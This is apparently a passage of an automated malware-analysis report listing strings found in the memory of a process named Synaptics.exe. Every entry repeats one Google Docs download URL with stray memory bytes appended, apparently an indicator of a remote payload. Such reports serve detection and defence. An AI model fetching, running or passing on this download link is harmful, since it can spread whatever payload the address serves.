Source: Synaptics.exe, 00000003.00000002.1443067594.00000000053FE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C72000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4P
Source: Synaptics.exe, 00000014.00000002.2140164000.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4T
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5:.
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7g8
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C72000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000014.00000002.2151061747.000000000E2BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download80
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8;-
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8Pm
Source: Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9.
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download96
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9;GX
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9g
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C7F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1977210353.0000000004C82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C7C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:/F
Source: Synaptics.exe, 00000003.00000002.1441338159.000000000063D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:s
Source: Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;1
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;?
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;f4
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=9
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=Qj
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=f
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?e0
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAP
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAd
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C7F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1977210353.0000000004C82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C7C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBQ
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC9T
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C72000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD1
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDMndM
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDP
Source: Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE;
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEV
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF:S
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG/3
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGgh
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadGxuZVL
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976029257.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145019297.0000000007A3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C72000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2141980408.0000000004C5E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHWpT
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI/
Source: Synaptics.exe, 00000014.00000002.2140164000.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIK
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIgC
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C7F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C7C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ6
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJP
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKfd
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKw4
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976029257.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL0
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLSg
Source: Synaptics.exe, 00000014.00000002.2140164000.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLT
Source: Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM:F
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMQ
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMfO
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN9
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNM
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNV
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO.;
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOQ
